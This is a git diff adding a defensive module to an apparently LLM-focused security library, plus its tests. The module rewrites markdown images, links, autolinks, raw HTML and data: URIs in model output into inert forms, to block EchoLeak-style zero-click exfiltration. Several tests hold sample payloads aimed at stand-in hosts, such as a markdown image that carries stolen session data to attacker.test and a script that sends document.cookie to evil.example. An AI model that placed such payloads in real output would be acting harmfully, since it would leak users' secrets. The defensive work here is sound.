diff --git a/src/llm_ingestion_guard/neutralize.py b/src/llm_ingestion_guard/neutralize.py
new file mode 100644
index 0000000..bf0283a
--- /dev/null
+++ b/src/llm_ingestion_guard/neutralize.py
@@ -0,0 +1,222 @@
+"""neutralize — opt-in, pure defang of active content in model OUTPUT.
+
+Query-time guardrails guard the answer; this guards the *persisted artifact*.
+When model output is written to a wiki, doc, or knowledge base and later rendered,
+active-content constructs become an exfiltration channel: a markdown image URL is
+auto-fetched the moment the page renders, leaking whatever the attacker packed
+into it — with no click. This is the EchoLeak class (CVE-2025-32711). Such
+carriers are neither injection strings nor high-entropy blobs, so ``lexicon`` and
+``entropy`` do not see them; neutralizing them is a distinct control (OWASP
+LLM05 — Improper Output Handling).
+
+Defang, don't delete. Each active construct is rewritten to an inert but still
+human-auditable form: URLs get a non-resolvable scheme and bracketed dots
+(``https://evil.com`` -> ``hxxps://evil[.]com``), and raw active HTML is escaped
+so a renderer shows it as literal text instead of executing it. The visible
+information survives review; only the machine-actionable affordance dies.
+
+Two properties are load-bearing and mirror the sanitizer:
+
+1. **Opt-in and separate.** Calling this function *is* the opt-in to mutate.
+   Detection elsewhere in the library stays report-only (design principles 3 & 4);
+   the report-only output gate (``output``) never rewrites. A caller that wants
+   findings without mutation reads ``result.report`` and discards ``result.text``.
+2. **Byte-identical on clean input.** Output with no active construct is returned
+   unchanged with an empty report. Benign inline formatting (``<b>``, ``<em>``)
+   and prose containing stray ``<``, ``>``, ``[`` are left untouched.
+
+Scope note (conceded, not hidden): this is a targeted defanger, not a full HTML
+sanitizer. Text *between* escaped tags (e.g. a ``<script>`` body) is neutralized
+as active content by escaping the tags, but bare URLs left in that residual text
+stay visible; balanced-parenthesis link URLs are matched conservatively. The goal
+is to kill the zero-click auto-fetch/execute affordance, not to rewrite every URL.
+"""
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass
+
+from .report import Finding, Report, Severity, Source
+
+# --- URL defang -------------------------------------------------------------
+# Rewrite a URL to a form no renderer will resolve, while keeping it readable.
+# Dangerous schemes (data:, javascript:, ...) get their colon neutralized;
+# network schemes get the classic threat-intel treatment (hxxp / hxxps).
+_DANGER_SCHEME_RE = re.compile(r"^(javascript|data|vbscript|file|blob)(?=:)", re.IGNORECASE)
+_SCHEME_SUBS = (
+    (re.compile(r"^https", re.IGNORECASE), "hxxps"),
+    (re.compile(r"^http", re.IGNORECASE), "hxxp"),
+    (re.compile(r"^ftp", re.IGNORECASE), "fxp"),
+)
+# Dot-defang that is idempotent: never touches a `.` already inside `[.]`.
+_DOT_RE = re.compile(r"(?<!\[)\.(?!\])")
+# A bare http(s)/ftp URL embedded in other text (used inside escaped HTML).
+_URL_IN_TEXT_RE = re.compile(r"[A-Za-z][A-Za-z0-9+.\-]*://[^\s'\"<>]+")
+
+
+def _defang_url(url: str) -> str:
+    """Rewrite ``url`` to a non-resolvable, human-auditable form. Idempotent."""
+    m = _DANGER_SCHEME_RE.match(url)
+    if m:
+        url = url[: m.end(1)] + "[:]" + url[m.end(1) + 1 :]
+    else:
+        for pattern, repl in _SCHEME_SUBS:
+            url, n = pattern.subn(repl, url)
+            if n:
+                break
+    return _DOT_RE.sub("[.]", url)
+
+
+# --- Active-content constructs ----------------------------------------------
+# Markdown image / inline link: `[text](url "title")`. `url` stops at the first
+# `)` or whitespace (balanced-paren URLs matched conservatively — see scope note).
+_MD_IMAGE_RE = re.compile(
+    r"!\[(?P<alt>[^\]]*)\]\(\s*(?P<url>[^)\s]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
+)
+_MD_LINK_RE = re.compile(
+    r"(?<!!)\[(?P<text>[^\]]*)\]\(\s*(?P<url>[^)\s]+)(?P<title>(?:\s+\"[^\"]*\")?)\s*\)"
+)
+# Reference-style link definition: `[label]: destination`. Only fires when the
+# destination is absolute (has a scheme or is protocol-relative) — a footnote
+# `[1]: some plain text` is not a link target and is left alone.
+_MD_REFDEF_RE = re.compile(
+    r"(?m)^(?P<pre>[ ]{0,3}\[[^\]]+\]:\s*)(?P<url>[A-Za-z][\w+.\-]*:\S+|//\S+)"
+)
+# Angle-bracket autolink: `<scheme:...>`.
+_AUTOLINK_RE = re.compile(r"<(?P<url>[A-Za-z][A-Za-z0-9+.\-]*:[^>\s]+)>")
+# Standalone `data:` URI in prose (not preceded by a letter/digit -> "metadata:"
+# is not a match), consuming to the next whitespace / quote / bracket.
+_DATA_URI_RE = re.compile(r"(?<![A-Za-z0-9])data:[^\s'\"<>)]+", re.IGNORECASE)
+
+# Raw HTML tag. Attribute values may hold `>` inside quotes, so quoted runs are
+# consumed atomically. A tag is *active* if it is an inherently-executing element,
+# carries an event handler, or carries a URL-bearing attribute.
+_HTML_TAG_RE = re.compile(r"<(?P<slash>/?)(?P<name>[A-Za-z][A-Za-z0-9:-]*)(?P<attrs>(?:[^>\"']|\"[^\"]*\"|'[^']*')*)>")
+_EVENT_ATTR_RE = re.compile(r"\bon[a-z]+\s*=", re.IGNORECASE)
+_URL_ATTR_RE = re.compile(
+    r"\b(?:src|href|xlink:href|srcset|data|poster|formaction|action|background|cite|codebase|longdesc)\s*=",
+    re.IGNORECASE,
+)
+_ACTIVE_TAGS = frozenset({
+    "script", "iframe", "object", "embed", "svg", "math", "link", "meta", "base",
+    "form", "img", "input", "button", "video", "audio", "source", "track", "a",
+    "area", "frame", "frameset", "applet", "style",
+})
+
+
+@dataclass(frozen=True)
+class NeutralizeResult:
+    """The defanged text plus a report of every construct that was neutralized."""
+
+    text: str
+    report: Report
+
+
+def _redact(s: str, show_start: int = 16, show_end: int = 6) -> str:
+    if len(s) <= show_start + show_end + 3:
+        return s
+    return f"{s[:show_start]}...{s[-show_end:]}"
+
+
+def neutralize(text: str, source: Source = Source.OUTPUT) -> NeutralizeResult:
+    """Defang active-content constructs in ``text`` and report each class.
+
+    Rewrites markdown images/links, reference-link definitions, angle-bracket
+    autolinks, raw active HTML, and ``data:`` URIs into inert forms. Text with no
+    such construct is returned byte-identical with an empty report.
+    """
+    report = Report()
+    out = text
+
+    def _flag(label: str, severity: Severity, count: int, evidence: str) -> None:
+        report.add(Finding(
+            label=label, severity=severity, source=source, detector="neutralize",
+            count=count, evidence=_redact(evidence), owasp="LLM05",
+        ))
+
+    # 1. Markdown images — the zero-click auto-fetch primitive (EchoLeak). Run
+    #    first so the leading `!` is consumed before the inline-link pass.
+    img_ev: list[str] = []
+
+    def _img(m: re.Match[str]) -> str:
+        defanged = _defang_url(m.group("url"))
+        img_ev.append(defanged)
+        return f'![{m.group("alt")}]({defanged}{m.group("title")})'
+
+    out, n_img = _MD_IMAGE_RE.subn(_img, out)
+    if n_img:
+        _flag("neutralize:markdown-image", Severity.HIGH, n_img, img_ev[0])
+
+    # 2. Markdown inline links — clickable / prefetchable exfil target.
+    link_ev: list[str] = []
+
+    def _link(m: re.Match[str]) -> str:
+        defanged = _defang_url(m.group("url"))
+        link_ev.append(defanged)
+        return f'[{m.group("text")}]({defanged}{m.group("title")})'
+
+    out, n_link = _MD_LINK_RE.subn(_link, out)
+    if n_link:
+        _flag("neutralize:markdown-link", Severity.MEDIUM, n_link, link_ev[0])
+
+    # 3. Reference-style link definitions — the documented image-filter bypass.
+    ref_ev: list[str] = []
+
+    def _ref(m: re.Match[str]) -> str:
+        defanged = _defang_url(m.group("url"))
+        ref_ev.append(defanged)
+        return m.group("pre") + defanged
+
+    out, n_ref = _MD_REFDEF_RE.subn(_ref, out)
+    if n_ref:
+        _flag("neutralize:reference-link", Severity.MEDIUM, n_ref, ref_ev[0])
+
+    # 4. Angle-bracket autolinks.
+    auto_ev: list[str] = []
+
+    def _auto(m: re.Match[str]) -> str:
+        defanged = _defang_url(m.group("url"))
+        auto_ev.append(defanged)
+        return f"<{defanged}>"
+
+    out, n_auto = _AUTOLINK_RE.subn(_auto, out)
+    if n_auto:
+        _flag("neutralize:autolink", Severity.MEDIUM, n_auto, auto_ev[0])
+
+    # 5. Raw active HTML — escape so a renderer shows it as inert literal text.
+    html_state = {"count": 0, "ev": ""}
+
+    def _html(m: re.Match[str]) -> str:
+        tag = m.group(0)
+        attrs = m.group("attrs") or ""
+        active = (
+            m.group("name").lower() in _ACTIVE_TAGS
+            or _EVENT_ATTR_RE.search(attrs)
+            or _URL_ATTR_RE.search(attrs)
+        )
+        if not active:
+            return tag
+        html_state["count"] += 1
+        if not html_state["ev"]:
+            html_state["ev"] = tag
+        inert = _URL_IN_TEXT_RE.sub(lambda u: _defang_url(u.group(0)), tag)
+        return inert.replace("<", "&lt;").replace(">", "&gt;")
+
+    out = _HTML_TAG_RE.sub(_html, out)
+    if html_state["count"]:
+        _flag("neutralize:raw-html", Severity.HIGH, html_state["count"], html_state["ev"])
+
+    # 6. Standalone `data:` URIs left in prose (those inside constructs above are
+    #    already defanged; the literal `data:` colon is gone, so no double count).
+    data_ev: list[str] = []
+
+    def _data(m: re.Match[str]) -> str:
+        defanged = _defang_url(m.group(0))
+        data_ev.append(defanged)
+        return defanged
+
+    out, n_data = _DATA_URI_RE.subn(_data, out)
+    if n_data:
+        _flag("neutralize:data-uri", Severity.HIGH, n_data, data_ev[0])
+
+    return NeutralizeResult(text=out, report=report)
diff --git a/tests/test_neutralize.py b/tests/test_neutralize.py
new file mode 100644
index 0000000..0e31352
--- /dev/null
+++ b/tests/test_neutralize.py
@@ -0,0 +1,141 @@
+"""Tests for active-content neutralization (build order step 6).
+
+``neutralize`` is the opt-in, PURE defang helper for model OUTPUT. It closes the
+EchoLeak class (CVE-2025-32711): active content in persisted model output that a
+downstream renderer auto-fetches (markdown images) or makes clickable, leaking
+data zero-click. These carriers are neither injection strings nor high-entropy,
+so lexicon + entropy miss them entirely.
+
+Invariants mirror the sanitizer: clean output returns byte-identical with an
+empty report; only active-content constructs are ever rewritten. Mutation lives
+here, kept separate from the report-only output gate (design principles 3 & 4).
+The transform is pure ``text -> (defanged_text, report)`` — no I/O, no globals.
+"""
+from llm_ingestion_guard.neutralize import neutralize
+from llm_ingestion_guard.report import Severity, Source
+
+
+def test_clean_output_is_byte_identical():
+    text = "A perfectly ordinary wiki paragraph. Costs $5! See section [1] below (really)."
+    result = neutralize(text)
+    assert result.text == text
+    assert result.report.found is False
+
+
+def test_default_source_is_output():
+    # Unlike sanitize/fence (INPUT), this module targets the model's OUTPUT.
+    result = neutralize("![x](https://evil.example/leak)")
+    assert result.report.found is True
+    assert all(f.source is Source.OUTPUT for f in result.report.findings)
+
+
+def test_markdown_image_is_defanged_high_severity():
+    # The EchoLeak primitive: an auto-fetched image URL carrying exfiltrated data.
+    result = neutralize("![logo](https://evil.example/leak?data=SECRET)")
+    assert "https://evil.example" not in result.text  # fetchable URL is gone
+    assert "hxxps" in result.text
+    assert "logo" in result.text  # alt text preserved for audit
+    img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"]
+    assert len(img) == 1
+    assert img[0].severity is Severity.HIGH
+    assert img[0].detector == "neutralize"
+    assert img[0].owasp == "LLM05"
+
+
+def test_defanged_url_is_not_resolvable():
+    result = neutralize("![x](https://evil.example/x)")
+    # Scheme neutralized and host dots bracketed -> no renderer will resolve it.
+    assert "hxxps://evil[.]example" in result.text
+
+
+def test_secret_exfil_url_no_longer_fetchable():
+    exfil = "STOLEN-SESSION-DATA"
+    result = neutralize(f"![ ](http://attacker.test/c?k={exfil})")
+    # The secret text may remain visible, but never inside a fetchable URL.
+    assert "http://attacker.test" not in result.text
+    assert "hxxp://attacker[.]test" in result.text
+
+
+def test_inline_link_is_defanged_medium():
+    result = neutralize("click [here](https://evil.example/go) now")
+    assert "https://evil.example" not in result.text
+    assert "here" in result.text
+    link = [f for f in result.report.findings if f.label == "neutralize:markdown-link"]
+    assert len(link) == 1
+    assert link[0].severity is Severity.MEDIUM
+
+
+def test_image_is_not_double_counted_as_link():
+    result = neutralize("![alt](https://evil.example/x)")
+    labels = {f.label for f in result.report.findings}
+    assert "neutralize:markdown-image" in labels
+    assert "neutralize:markdown-link" not in labels
+
+
+def test_reference_style_link_definition_is_defanged():
+    text = "See [the doc][ref].\n\n[ref]: https://evil.example/leak"
+    result = neutralize(text)
+    assert "https://evil.example" not in result.text
+    assert any(f.label == "neutralize:reference-link" for f in result.report.findings)
+
+
+def test_angle_bracket_autolink_is_defanged():
+    result = neutralize("read more <https://evil.example/x> here")
+    assert "https://evil.example" not in result.text
+    assert "hxxps://evil[.]example" in result.text
+    assert any(f.label == "neutralize:autolink" for f in result.report.findings)
+
+
+def test_raw_active_html_is_escaped():
+    result = neutralize('<img src="https://evil.example/leak?d=x">')
+    assert "<img" not in result.text  # no longer renders as active content
+    assert "&lt;img" in result.text
+    html = [f for f in result.report.findings if f.label == "neutralize:raw-html"]
+    assert len(html) == 1
+    assert html[0].severity is Severity.HIGH
+
+
+def test_benign_formatting_html_is_left_untouched():
+    text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
+    result = neutralize(text)
+    assert result.text == text
+    assert result.report.found is False
+
+
+def test_script_tag_is_neutralized():
+    result = neutralize("<script>fetch('https://evil.example/'+document.cookie)</script>")
+    assert "<script>" not in result.text
+    assert any(f.label == "neutralize:raw-html" for f in result.report.findings)
+
+
+def test_standalone_data_uri_is_defanged():
+    result = neutralize("open data:text/html;base64,PHNjcmlwdD4= please")
+    assert "data:text/html" not in result.text
+    assert any(f.label == "neutralize:data-uri" for f in result.report.findings)
+
+
+def test_data_uri_does_not_match_inside_a_word():
+    # "metadata:" must not be mistaken for a data: URI (FP guard, as in sanitize).
+    text = "the metadata: field is documented here"
+    result = neutralize(text)
+    assert result.text == text
+    assert result.report.found is False
+
+
+def test_multiple_images_are_counted():
+    result = neutralize("![a](https://x.example/1) ![b](https://y.example/2)")
+    img = [f for f in result.report.findings if f.label == "neutralize:markdown-image"][0]
+    assert img.count == 2
+
+
+def test_source_override_is_respected():
+    result = neutralize("![x](https://evil.example/x)", source=Source.INPUT)
+    assert all(f.source is Source.INPUT for f in result.report.findings)
+
+
+def test_prose_with_lone_brackets_and_angles_is_identical():
+    # FP guards: none of these are active constructs.
+    text = "if a < b and c > d then see [note] and call f(x)."
+    result = neutralize(text)
+    assert result.text == text
+    assert result.report.found is False